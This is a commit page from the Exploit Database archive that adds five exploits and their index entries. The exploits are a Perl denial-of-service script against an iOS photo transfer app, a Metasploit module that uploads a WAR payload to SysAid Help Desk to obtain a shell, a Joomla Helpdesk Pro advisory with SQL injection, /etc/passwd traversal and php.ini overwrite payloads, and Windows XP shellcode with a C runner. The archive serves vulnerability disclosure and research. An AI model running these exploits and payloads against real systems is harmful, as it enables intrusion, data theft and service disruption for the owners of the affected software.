Skip to content

Commit 992137f

Browse files
author
Offensive Security
committed
DB: 2015-07-22
5 new exploits
1 parent 84f5ff0 commit 992137f

6 files changed

Lines changed: 556 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -33956,6 +33956,7 @@ id,file,description,date,author,platform,type,port
3395633956
37615,platforms/php/webapps/37615.txt,"PBBoard member_id Parameter Validation Password Manipulation",2012-08-08,"High-Tech Bridge",php,webapps,0
3395733957
37616,platforms/php/webapps/37616.txt,"PBBoard admin.php xml_name Parameter Arbitrary PHP Code Execution",2012-08-08,"High-Tech Bridge",php,webapps,0
3395833958
37617,platforms/php/webapps/37617.txt,"dirLIST Multiple Local File Include and Arbitrary File Upload Vulnerabilities",2012-08-08,L0n3ly-H34rT,php,webapps,0
33959+
37664,platforms/win32/shellcode/37664.c,"win32/xp[TR] sp3 MessageBox - 24Bytes",2015-07-21,B3mB4m,win32,shellcode,0
3395933960
37620,platforms/php/webapps/37620.txt,"Joomla DOCman Component - Multiple Vulnerabilities",2015-07-15,"Hugo Santiago",php,webapps,80
3396033961
37623,platforms/hardware/webapps/37623.txt,"15 TOTOLINK Router Models - Multiple RCE Vulnerabilities",2015-07-16,"Pierre Kim",hardware,webapps,0
3396133962
37624,platforms/hardware/webapps/37624.txt,"4 TOTOLINK Router Models - CSRF and XSS Vulnerabilities",2015-07-16,"Pierre Kim",hardware,webapps,0
@@ -33991,4 +33992,8 @@ id,file,description,date,author,platform,type,port
3399133992
37655,platforms/windows/remote/37655.c,"Adobe Pixel Bender Toolkit2 'tbbmalloc.dll' Multiple DLL Loading Code Execution Vulnerabilities",2012-08-23,coolkaveh,windows,remote,0
3399233993
37656,platforms/php/webapps/37656.txt,"PHP Web Scripts Ad Manager Pro 'page' Parameter Local File Include Vulnerability",2012-08-23,"Corrado Liotta",php,webapps,0
3399333994
37657,platforms/windows/local/37657.txt,"Microsoft Word Local Machine Zone Remote Code Execution Vulnerability",2015-07-20,"Eduardo Braun Prado",windows,local,0
33995+
37660,platforms/ios/dos/37660.txt,"Image Transfer IOS - Remote Crash Proof Of Concept",2015-07-20,"Reza Espargham",ios,dos,0
3399433996
37663,platforms/linux/dos/37663.txt,"TcpDump rpki_rtr_pdu_print Out-of-Bounds Denial of Service",2015-07-20,"Luke Arntson",linux,dos,0
33997+
37666,platforms/php/webapps/37666.txt,"Joomla! Helpdesk Pro Plugin < 1.4.0 - Multiple Vulnerabilities",2015-07-21,"Simon Rawet",php,webapps,80
33998+
37667,platforms/java/remote/37667.rb,"SysAid Help Desk 'rdslogs' Arbitrary File Upload",2015-07-21,metasploit,java,remote,0
33999+
37668,platforms/windows/remote/37668.php,"Internet Download Manager - OLE Automation Array Remote Code Execution",2015-07-21,"Reza Espargham",windows,remote,0

‎platforms/ios/dos/37660.txt‎

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
#!/usr/bin/perl -w
2+
# Title : Image Transfer IOS - Remote Crash Proof Of Concept
3+
# Affected Versions: All Version
4+
# Tested on IOS 8.4 (12h143) / 2.0
5+
# Itunes link : https://itunes.apple.com/us/app/image-transfer-photo-video/id588696602?mt=8
6+
#
7+
# EDB note: Might require to be run multiple times to cause DoS
8+
#
9+
# Author : Mohammad Reza Espargham
10+
# Linkedin : https://ir.linkedin.com/in/rezasp
11+
# E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com
12+
# Website : www.reza.es
13+
# Twitter : https://twitter.com/rezesp
14+
# FaceBook : https://www.facebook.com/mohammadreza.espargham
15+
#
16+
17+
18+
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
19+
20+
use threads;
21+
use LWP::UserAgent;
22+
23+
24+
print "    Mohammad Reza Espargham\n   www.reza.es\n\n Syntax: perl poc.pl 192.168.1.3\n\n";
25+
26+
27+
$port=8080; #port
28+
$host=$ARGV[0]; #host
29+
30+
31+
sub check_app { #thread sub
32+
my $ua = LWP::UserAgent->new();
33+
$ua = new LWP::UserAgent(agent => "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5");
34+
$ua -> timeout(10);
35+
print "*";
36+
$ua->get("http://$host:$port/?__debugger__=yes&cmd=resource&f=debugger.js");
37+
return 0;
38+
}
39+
40+
my @threads;
41+
for (my $i = 0; $i < 20; $i++) {
42+
my $thread = threads->create(\&check_app);
43+
push(@threads, $thread);
44+
}
45+
foreach (@threads) { #join
46+
$_->join();
47+
}

‎platforms/java/remote/37667.rb‎

Lines changed: 135 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'zlib'
8+
9+
class Metasploit3 < Msf::Exploit::Remote
10+
Rank = ExcellentRanking
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::FileDropper
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => "SysAid Help Desk 'rdslogs' Arbitrary File Upload",
18+
'Description' => %q{
19+
This module exploits a file upload vulnerability in SysAid Help Desk v14.3 and v14.4.
20+
The vulnerability exists in the RdsLogsEntry servlet which accepts unauthenticated
21+
file uploads and handles zip file contents in a insecure way. By combining both weaknesses,
22+
a remote attacker can accomplish remote code execution. Note that this will only work if the
23+
target is running Java 6 or 7 up to 7u25, as Java 7u40 and above introduces a protection
24+
against null byte injection in file names. This module has been tested successfully on version
25+
v14.3.12 b22 and v14.4.32 b25 in Linux. In theory this module also works on Windows, but SysAid
26+
seems to bundle Java 7u40 and above with the Windows package which prevents the vulnerability
27+
from being exploited.
28+
},
29+
'Author' =>
30+
[
31+
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
32+
],
33+
'License' => MSF_LICENSE,
34+
'References' =>
35+
[
36+
[ 'CVE', '2015-2995' ],
37+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ],
38+
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ]
39+
],
40+
'DefaultOptions' => { 'WfsDelay' => 30 },
41+
'Privileged' => false,
42+
'Platform' => 'java',
43+
'Arch' => ARCH_JAVA,
44+
'Targets' =>
45+
[
46+
[ 'SysAid Help Desk v14.3 - 14.4 / Java Universal', { } ]
47+
],
48+
'DefaultTarget' => 0,
49+
'DisclosureDate' => 'Jun 3 2015'))
50+
51+
register_options(
52+
[
53+
Opt::RPORT(8080),
54+
OptInt.new('SLEEP',
55+
[true, 'Seconds to sleep while we wait for WAR deployment', 15]),
56+
OptString.new('TARGETURI',
57+
[true, 'Base path to the SysAid application', '/sysaid/'])
58+
], self.class)
59+
end
60+
61+
62+
def check
63+
servlet_path = 'rdslogs'
64+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
65+
66+
res = send_request_cgi({
67+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
68+
'method' => 'POST',
69+
'vars_get' => {
70+
'rdsName' => bogus_file
71+
}
72+
})
73+
74+
if res && res.code == 200
75+
return Exploit::CheckCode::Detected
76+
end
77+
end
78+
79+
80+
def exploit
81+
app_base = rand_text_alphanumeric(4 + rand(32 - 4))
82+
tomcat_path = '../../../../'
83+
servlet_path = 'rdslogs'
84+
85+
# We need to create the upload directories before our first attempt to upload the WAR.
86+
print_status("#{peer} - Creating upload directory")
87+
bogus_file = rand_text_alphanumeric(4 + rand(32 - 4))
88+
send_request_cgi({
89+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
90+
'method' => 'POST',
91+
'data' => Zlib::Deflate.deflate(rand_text_alphanumeric(4 + rand(32 - 4))),
92+
'ctype' => 'application/xml',
93+
'vars_get' => {
94+
'rdsName' => bogus_file
95+
}
96+
})
97+
98+
war_payload = payload.encoded_war({ :app_name => app_base }).to_s
99+
100+
# We have to use the Zlib deflate routine as the Metasploit Zip API seems to fail
101+
print_status("#{peer} - Uploading WAR file...")
102+
res = send_request_cgi({
103+
'uri' => normalize_uri(datastore['TARGETURI'], servlet_path),
104+
'method' => 'POST',
105+
'data' => Zlib::Deflate.deflate(war_payload),
106+
'ctype' => 'application/octet-stream',
107+
'vars_get' => {
108+
'rdsName' => "#{tomcat_path}/tomcat/webapps/#{app_base}.war\x00"
109+
}
110+
})
111+
112+
# The server either returns a 200 OK when the upload is successful.
113+
if res && res.code == 200
114+
print_status("#{peer} - Upload appears to have been successful, waiting #{datastore['SLEEP']} seconds for deployment")
115+
register_files_for_cleanup("tomcat/webapps/#{app_base}.war")
116+
else
117+
fail_with(Failure::Unknown, "#{peer} - WAR upload failed")
118+
end
119+
120+
10.times do
121+
select(nil, nil, nil, 2)
122+
123+
# Now make a request to trigger the newly deployed war
124+
print_status("#{peer} - Attempting to launch payload in deployed WAR...")
125+
res = send_request_cgi({
126+
'uri' => normalize_uri(app_base, Rex::Text.rand_text_alpha(rand(8)+8)),
127+
'method' => 'GET'
128+
})
129+
# Failure. The request timed out or the server went away.
130+
break if res.nil?
131+
# Success! Triggered the payload, should have a shell incoming
132+
break if res.code == 200
133+
end
134+
end
135+
end

‎platforms/php/webapps/37666.txt‎

Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
Document Title
2+
==============
3+
Joomla! plugin Helpdesk Pro < 1.4.0
4+
5+
Reported By
6+
===========
7+
Simon Rawet from Outpost24
8+
Kristian Varnai from Outpost24
9+
Gregor Mynarsky from Outpost24
10+
https://www.outpost24.com/
11+
12+
For full details, see;
13+
https://www.outpost24.com/outpost24-has-found-critical-vulnerabilities-in-joomla-helpdesk-pro/
14+
15+
16+
Tested on
17+
=========
18+
All exploits were tested and verified by Outpost24 for HelpDesk Pro version 1.3.0. While no official testing has been done on earlier versions, all versions prior to 1.4.0, where the issues were finally patched, are suspected of being vulnerable.
19+
20+
Release Date
21+
============
22+
2015-07-16
23+
24+
CVE
25+
===
26+
CVE-2015-4071 CVSS: 4.0 Direct Object References
27+
CVE-2015-4072 CVSS: 6.5 Multiple XSS
28+
CVE-2015-4073 CVSS: 7.8 SQL Injection
29+
CVE-2015-4074 CVSS: 7.8 Local file disclosure/Path traversal
30+
CVE-2015-4075 CVSS: 6.8 File Upload
31+
32+
33+
34+
Vulnerability Disclosure Timeline:
35+
==================================
36+
2015-05-23: Vulnerabilities discovered and reported to mitre
37+
2015-05-25: Vendor contacted
38+
2015-06-21: Vendor released update version: 1.4.0
39+
2015-07-16: Public disclosure
40+
41+
42+
PoC
43+
===
44+
45+
Direct object references CVE-2015-4071.
46+
Authenticated
47+
Path: http://{target}/component/helpdeskpro/?view=ticket&id={ticketId}
48+
49+
It's possible to read other users' support tickets by changing the numeric id.
50+
51+
52+
XSS CVE-2015-4072.
53+
Mostly authenticated dependent on site configuration
54+
Output validation is universally overlooked
55+
Example: Name and message
56+
Path: http://{target}/index.php?option=com_helpdeskpro&view=ticket&layout=form&Itemid=1
57+
58+
59+
SQLi CVE-2015-4073 for both SQLi.
60+
61+
There are 3 SQLi:
62+
63+
Authenticated
64+
Vulnerable parameter: filter_order
65+
Path: http://{url}/index.php?option=com_helpdeskpro&view=tickets
66+
Post data: search=&category_id=0&status_id=-1&limit=10&limitstart=0&option=com_helpdeskpro&task=&boxchecked=0&filter_order=SLEEP('10')&filter_order_Dir=DESC
67+
68+
Unauthenticated
69+
Vulnerable parameter: ticket_code
70+
Path: http://{url}/index.php?option=com_helpdeskpro&view=ticket&ticket_code=1"%20or%20sleep(5)%20%23
71+
72+
Unauthenticated
73+
Vulnerable parameter: email
74+
Path: http://{url}/index.php?option=com_helpdeskpro&task=ticket.save
75+
Post data: name=asdf&email=user@example.com"%20and%20sleep(5)%20and%20"3"="3
76+
77+
78+
Local file disclosure/Path traversal CVE-2015-4074.
79+
Unauthenticated
80+
Path: https://{url}/?option=com_helpdeskpro&task=ticket.download_attachment&filename=/../../../../../../../../../../../../etc/passwd&original_filename=AnyFileName.exe
81+
82+
83+
File Upload CVE-2015-4075.
84+
Unauthenticated
85+
Path: http://{url}/index.php?option=com_helpdeskpro&task=language.save
86+
Injected parameter: item, keys, attacker specified
87+
Post data: lang=&item=./../../../../../../etc/php5/apache2/php&keys[]=[PHP];&[PHP];=val%0aAnyData%0a;
88+
Description: Allows for .ini files to be created wherever the web server has write access. If the .ini file already exists and is writable, it will be overwritten by the server. In a poorly configured system, this will allow for code execution by including applicable arguments in .ini files. This however is not applicable to most systems. Any non-protected .ini files will be possible to replace, with impact depending per file. This PoC will overwrite the file /etc/php5/apache2/php.ini with the content:
89+
;key="val
90+
AnyData
91+
;"

‎platforms/win32/shellcode/37664.c‎

Lines changed: 44 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,44 @@
1+
win32/xp[TR] sp3 MessageBox - 24Bytes
2+
3+
#Greetz : Bomberman&T-Rex
4+
#Author : B3mB4m
5+
#Proof : http://imgur.com/727ALiY
6+
7+
I know there is nothing new.I wrote just to say "I am back" ..
8+
9+
-Coming soon-
10+
arwin.c [v2] ..
11+
Polymorphic shellcodes ..
12+
Win7,Win8,Win10 shellcodes ..
13+
RunPE & Migrate ? !!(If bomberman allowed hehe)
14+
15+
Stay tuned ! :)
16+
17+
18+
19+
Disassembly of section .text:
20+
21+
00401000 <_start>:
22+
401000: 31 c0 xor %eax,%eax
23+
401002: 50 push %eax
24+
401003: 68 42 34 6d 7c push $0x7c6d3442
25+
401008: 68 7c 42 33 6d push $0x6d33427c
26+
40100d: 89 e1 mov %esp,%ecx
27+
40100f: bb d4 29 86 7c mov $0x7c8629d4,%ebx
28+
401014: 51 push %ecx
29+
401015: 50 push %eax
30+
401016: ff d3 call %ebx
31+
32+
33+
34+
#include <stdio.h>
35+
#include <string.h>
36+
37+
char shellcode[] = "\x31\xc0\x50\x68\x42\x34\x6d\x7c\x68\x7c\x42\x33\x6d\x89\xe1\xbb\xd4\x29\x86\x7c\x51\x50\xff\xd3";
38+
39+
int main(int argc, char **argv){
40+
41+
int (*func)();
42+
func = (int (*)()) shellcode;
43+
(int)(*func)();
44+
}

0 commit comments

Comments
 (0)